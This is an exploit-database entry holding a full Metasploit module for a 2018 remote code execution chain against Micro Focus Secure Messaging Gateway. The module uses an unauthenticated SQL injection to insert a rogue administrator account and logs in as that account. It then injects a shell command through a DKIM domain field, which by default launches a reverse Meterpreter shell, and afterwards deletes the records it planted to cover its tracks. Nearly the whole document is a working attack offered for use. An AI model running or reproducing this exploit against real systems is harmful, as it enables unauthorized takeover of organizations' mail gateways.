Micro Focus Secure Messaging Gateway (SMG) < 471 - Remote Code Execution (Metasploit)

Related Vulnerabilities: CVE-2018-12465   CVE-2018-12464  
Publish Date: 24 Jul 2018
Author: Mehmet Ince
                							

                ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule &lt; Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           =&gt; "MicroFocus Secure Messaging Gateway Remote Code Execution",
      'Description'    =&gt; %q{
        This module exploits a SQL injection and command injection vulnerability in MicroFocus Secure Messaging Gateway.
        An unauthenticated user can execute a terminal command under the context of the web user.

        One of the user supplied parameters of API endpoint is used by the application without input validation and/or parameter binding,
        which leads to SQL injection vulnerability. Successfully exploiting this vulnerability gives a ability to add new user onto system.
        manage_domains_dkim_keygen_request.php endpoint is responsible for executing an operation system command. It's not possible
        to access this endpoint without having a valid session.

        Combining these vulnerabilities gives the opportunity execute operation system commands under the context
        of the web user.
      },
      'License'        =&gt; MSF_LICENSE,
      'Author'         =&gt;
        [
          'Mehmet Ince &lt;mehmet@mehmetince.net&gt;' # author &amp; msf module
        ],
      'References'     =&gt;
        [
          ['URL', 'https://pentest.blog/unexpected-journey-6-all-ways-lead-to-rome-remote-code-execution-on-microfocus-secure-messaging-gateway/'],
          ['CVE', '2018-12464'],
          ['CVE', '2018-12465'],
          ['URL', 'https://support.microfocus.com/kb/doc.php?id=7023132'],
          ['URL', 'https://support.microfocus.com/kb/doc.php?id=7023133']
        ],
      'DefaultOptions'  =&gt;
        {
          'Payload' =&gt; 'php/meterpreter/reverse_tcp',
          'Encoder' =&gt; 'php/base64'
        },
      'Platform'       =&gt; ['php'],
      'Arch'           =&gt; ARCH_PHP,
      'Targets'        =&gt; [[ 'Automatic', { }]],
      'Privileged'     =&gt; false,
      'DisclosureDate' =&gt; "Jun 19 2018",
      'DefaultTarget'  =&gt; 0
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
      ]
    )
  end

  def execute_query(query)
    #
    # We have a very rare SQLi case in here. Normally, it's would be very easy to exploit it by using time-based techniques
    # but since we are able to use stacked-query approach, following form of payload is required in order to be able
    # get back the output of query !
    #
    r = rand_text_alphanumeric(3 + rand(3))
    sql = r
    sql &lt;&lt; "') LEFT JOIN ScanEngineProperty AS ScanEngineBindAddressPlain ON ScanEngineBindAddressPlain.idScanEngine=ScanEngineProperty.idScanEngine "
    sql &lt;&lt; "LEFT JOIN ScanEngineProperty AS ScanEngineBindAddressSsl ON ScanEngineBindAddressSsl.idScanEngine=ScanEngineProperty.idScanEngine "
    sql &lt;&lt; "LEFT JOIN ScanEngineProperty AS ScanEngineEnableSsl ON ScanEngineEnableSsl.idScanEngine=ScanEngineProperty.idScanEngine; "
    sql &lt;&lt; query
    sql &lt;&lt; "; -- "
    sql &lt;&lt; r

    send_request_cgi(
      'method'  =&gt; 'POST',
      'uri'     =&gt;  normalize_uri(target_uri.path, 'api', '1', 'enginelist.php'),
      'vars_post' =&gt; {
        'appkey' =&gt; r
      }
    )

  end

  def something_went_wrong
    fail_with Failure::Unknown, 'Something went wrong'
  end

  def check
    r = rand_text_numeric(15..35)
    res = execute_query("SELECT #{r}")
    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end
    unless res.code == 200 &amp;&amp; res.body.include?(r)
      return CheckCode::Safe
    end
    CheckCode::Vulnerable
  end

  def implant_payload(cookie)
    print_status('Creating a domain record with a malformed DKIM data')
    p = [
      {
        :id =&gt; 'temp_0',
        :Description =&gt; rand_text_alpha(5),
        :DkimList =&gt; [
          {
            :Domain =&gt; "$(php -r '#{payload.encoded}')",
            :Selector =&gt; '',
            :TempId =&gt; 'tempDkim_1'
          }
        ]
      }
    ].to_json
    res = send_request_cgi({
      'method' =&gt; 'POST',
      'uri' =&gt; normalize_uri(target_uri.path, 'admin', 'contents', 'ou', 'manage_domains_save_data.json.php'),
      'cookie' =&gt; cookie,
      'vars_get' =&gt; {
        'cache' =&gt; 0,
      },
      'vars_post' =&gt; {
        'StateData' =&gt; '[{"ouid":1}]',
        'SaveData' =&gt; p
      }
    })

    if res &amp;&amp; res.code == 200 &amp;&amp; res.body.include?('DbNodeId')
      # Defining as global variable since we need to access them later within clean up function.
      begin
        @domainid  = JSON.parse(res.body)['Nodes'][0]['DbNodeId']
        @dkimid  = JSON.parse(res.body)['Nodes'][1]['DbNodeId']
      rescue =&gt; e
        fail_with Failure::UnexpectedReply, "Something went horribly wrong while implanting the payload : #{e.message}"
      end
      print_good('Payload is successfully implanted')
    else
      something_went_wrong
    end
  end

  def create_user
    # We need to create an user by exploiting SQLi flaws so we can reach out to cmd injection
    # issue location where requires a valid session !
    print_status('Creating a user with appropriate privileges')

    # Defining as global variable since we need to access them later within clean up function.
    @username = rand_text_alpha_lower(5..25)
    @userid = rand_text_numeric(6..8)
    query = "INSERT INTO account VALUES (#{@userid}, 1, '#{@username}', '0', '', 1,61011);INSERT INTO UserRole VALUES (#{@userid},#{@userid},1),(#{@userid.to_i-1},#{@userid},2)"

    execute_query(query)
    res = execute_query("SELECT * FROM account WHERE loginname = '#{@username}'")

    if res &amp;&amp; res.code == 200 &amp;&amp; res.body.include?(@username)
      print_good("User successfully created. Username : #{@username}")
    else
      something_went_wrong
    end
  end

  def login
    print_status("Authenticating with created user")
    res = send_request_cgi(
      'method'  =&gt; 'POST',
      'uri'     =&gt;  normalize_uri(target_uri.path, 'security', 'securitygate.php'),
      'vars_post' =&gt; {
        'username' =&gt; @username,
        'password' =&gt; rand_text_alpha_lower(5..25),
        'passwordmandatory' =&gt; rand_text_alpha_lower(5..25),
        'LimitInterfaceId' =&gt; 1
      }
    )
    if res &amp;&amp; res.code == 200 &amp;&amp; res.body.include?('/ui/default/index.php')
      print_good('Successfully authenticated')
      cookie = res.get_cookies
    else
      something_went_wrong
    end
    cookie
  end

  def exploit
    unless check == CheckCode::Vulnerable
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    create_user
    cookie = login
    implant_payload(cookie)

    print_status('Triggering an implanted payload')
    send_request_cgi({
      'method' =&gt; 'POST',
      'uri' =&gt; normalize_uri(target_uri.path, 'admin', 'contents', 'ou', 'manage_domains_dkim_keygen_request.php'),
      'cookie' =&gt; cookie,
      'vars_get' =&gt; {
        'cache' =&gt; 0,
      },
      'vars_post' =&gt; {
        'DkimRecordId' =&gt; @dkimid
      }
    })

  end

  def on_new_session(session)
    print_status('Cleaning up...')
    cmd = ""
    cmd &lt;&lt; 'PGPASSWORD=postgres psql -U postgres -d SecureGateway -c "'
    cmd &lt;&lt; "DELETE FROM account WHERE loginname ='#{@username}';"
    cmd &lt;&lt; "DELETE FROM UserRole WHERE idaccount = #{@userid};"
    cmd &lt;&lt; "DELETE FROM Domain WHERE iddomain = #{@domainid};"
    cmd &lt;&lt; "DELETE FROM DkimSignature WHERE iddkimsignature = #{@dkimid};"
    cmd &lt;&lt; '"'
    session.shell_command_token(cmd)
  end

end